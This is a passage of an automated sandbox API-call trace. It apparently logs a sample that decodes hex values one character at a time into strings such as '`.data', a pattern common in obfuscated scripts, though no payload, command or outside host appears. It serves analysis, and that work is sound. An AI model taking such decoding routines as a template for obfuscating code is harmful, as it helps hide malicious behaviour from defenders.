lpUsedDefaultChar=0x0) returned 1 [0061.963] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.963] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.964] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.964] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.965] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.965] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.966] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.966] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.966] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.966] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.967] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.967] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.968] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.968] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.968] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.968] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.969] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.969] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.970] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.970] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.971] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.971] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.971] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.971] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.981] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.981] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.982] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.982] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.983] VarParseNumFromStr (in: strIn="&H60", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.983] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="`") returned 1 [0061.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="`", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="`", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="`", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="`", lpUsedDefaultChar=0x0) returned 1 [0061.983] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.983] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0061.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 1 [0061.984] VarParseNumFromStr (in: strIn="&H64", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.984] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0061.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d", lpUsedDefaultChar=0x0) returned 1 [0061.985] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.985] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0061.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a", lpUsedDefaultChar=0x0) returned 1 [0061.986] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.986] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0061.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t", lpUsedDefaultChar=0x0) returned 1 [0061.986] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.986] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0061.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x1430114, 